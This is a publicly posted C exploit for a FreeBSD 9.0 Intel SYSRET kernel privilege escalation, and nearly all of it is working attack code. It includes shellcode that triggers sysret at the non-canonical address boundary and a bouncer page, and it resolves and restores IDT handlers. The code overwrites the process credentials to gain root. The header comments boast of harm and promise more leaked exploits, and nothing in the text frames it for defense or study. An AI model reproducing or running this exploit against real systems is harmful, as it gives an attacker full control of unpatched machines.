FreeBSD Intel SYSRET Kernel Privilege Escalation Exploit

:
07.10.2013
:
FreeBSD 9.0
:

/*
* FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit
* Author by CurcolHekerLink
*
* Credits to KEPEDEAN Corp, Barisan Sakit Hati, ora iso sepaying meneh hekerlink,
* Kismin perogeremer cyber team, petboylittledick, 1337 Curhat Crew and others at #MamaDedehEliteCurhatTeam
* if you would like next private exploit leakage, just mention @MamahhDedeh
*
* Some people may feel harmed when we release this exploit :))
*
* p.s: Met idul Adha ya besok, saatnya potong leher dewa lo... eh maksudnya potong Sapisisasi :))
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>
#define TRIGGERSIZE 20
#define BOUNCESIZE 18

uintptr_t Xdivp, Xdbgp, Xbptp, Xoflp, Xbndp, Xillp, Xdnap, Xfpusegmp, Xtssp, Xmissingp, Xstkp, Xprotp, Xpagep, Xfpup, Xalignp, Xmchkp, Xxmmp;

struct gate_descriptor * sidt()
{
struct region_descriptor idt;
asm ("sidt %0": "=m"(idt));
return (struct gate_descriptor*)idt.rd_base;
}

u_long matchsym(char *symname)
{
struct kld_sym_lookup ksym;
ksym.version = sizeof (ksym);
ksym.symname = symname;
if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
return ksym.symvalue;
}

void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
struct gate_descriptor *ip;
ip = idt + idx;
ip->gd_looffset = func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = func>>16;
}

void payload()
{
printf("[+] Woohoo!!!\n");
exit(0);
}

void resetidt()
{
struct thread *td;
struct ucred *cred;
struct gate_descriptor *idt = sidt();
setidt(idt, IDT_DE, Xdivp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_DB, Xdbgp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_BP, Xbptp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_OF, Xoflp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_BR, Xbndp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_UD, Xillp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_NM, Xdnap, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_FPUGP, Xfpusegmp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_TS, Xtssp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_NP, Xmissingp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_SS, Xstkp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_GP, Xprotp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_PF, Xpagep, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_MF, Xfpup, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_AC, Xalignp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_MC, Xmchkp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_XF, Xxmmp, SDT_SYSIGT, SEL_KPL, 0);

asm ("mov %%gs:0, %0" : "=r"(td));

cred = td->td_proc->p_ucred;
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;

asm ("swapgs; sysretq;" :: "c"(payload));
}

void resolving()
{
Xdivp = (uintptr_t)matchsym("Xdiv");
Xdbgp = (uintptr_t)matchsym("Xdbg");
Xbptp = (uintptr_t)matchsym("Xbpt");
Xoflp = (uintptr_t)matchsym("Xofl");
Xbndp = (uintptr_t)matchsym("Xbnd");
Xillp = (uintptr_t)matchsym("Xill");
Xdnap = (uintptr_t)matchsym("Xdna");
Xfpusegmp = (uintptr_t)matchsym("Xfpusegm");
Xtssp = (uintptr_t)matchsym("Xtss");
Xmissingp = (uintptr_t)matchsym("Xmissing");
Xstkp = (uintptr_t)matchsym("Xstk");
Xprotp = (uintptr_t)matchsym("Xprot");
Xpagep = (uintptr_t)matchsym("Xpage");
Xfpup = (uintptr_t)matchsym("Xfpu");
Xalignp = (uintptr_t)matchsym("Xalign");
Xmchkp = (uintptr_t)matchsym("Xmchk");
Xxmmp = (uintptr_t)matchsym("Xxmm");
}

void trigger()
{
printf("[+] Crotz...\n");
uint64_t pagesize = getpagesize();
uint8_t * mappedarea = (uint8_t*)((1ULL << 47) - pagesize);
mappedarea = mmap(mappedarea, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if (mappedarea == MAP_FAILED) {
perror("mmap (trigger)");
exit(1);
}

char triggerpayload[] =
"\xb8\x18\x00\x00\x00"
"\x48\x89\xe3"
"\x48\xbc\xef\xbe\xad\xde\xef\xbe\xad\xde"
"\x0f\x05";

uint8_t * offset_addr = mappedarea + pagesize - TRIGGERSIZE;
memcpy(offset_addr, triggerpayload, TRIGGERSIZE);

*(uint64_t*)(offset_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
printf("[+] Crotz...\n");
char bouncepayload[] =
"\x0f\x01\xf8"
"\x48\x89\xdc"
"\x48\xb8\xef\xbe\xad\xde\xef\xbe\xad\xde"
"\xff\xe0";

uint8_t * bouncer = (uint8_t*)(0x900000000 | (Xpagep & 0xFFFFFFFF));
size_t bouncer_allocsize = pagesize;
if ((uint8_t*)((uint64_t)bouncer & ~(pagesize-1)) + pagesize < bouncer + BOUNCESIZE)
bouncer_allocsize += pagesize;
if (mmap((void*)((uint64_t)bouncer & ~(pagesize-1)), bouncer_allocsize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
{
perror("mmap (bouncer)");
exit(1);
}
memcpy(bouncer, bouncepayload, BOUNCESIZE);
*(uint64_t*)(bouncer + 8) = (uint64_t)resetidt;
((void (*)())offset_addr)();
}

int main(int argc, char *argv[])
{
printf("[+] SYSRET FUCKUP!!\n");
printf("[+] Start Engine...\n");
resolving();
printf("[+] Crotz...\n");
trigger();
return 0;
}

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